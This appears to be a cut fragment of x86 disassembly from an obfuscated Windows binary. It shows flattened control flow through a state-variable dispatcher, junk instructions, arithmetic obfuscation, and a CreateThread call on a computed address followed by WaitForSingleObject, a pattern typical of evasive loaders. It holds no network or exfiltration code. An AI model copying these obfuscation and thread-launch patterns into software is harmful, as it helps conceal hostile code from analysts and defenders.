mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x158]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0xa871d113
jmp 0x413694
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1c0], 0xe9c4acbe
jmp 0x413694
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1c0], 0xff3267e3
jmp 0x413694
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x453afd22
jmp 0x413694
mov eax, dword [ebp - 0x24]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1c0], 0xd220d462
jmp 0x413694
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x1b8]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0xa0fe7d84
jmp 0x413694
jmp 0x40f1b8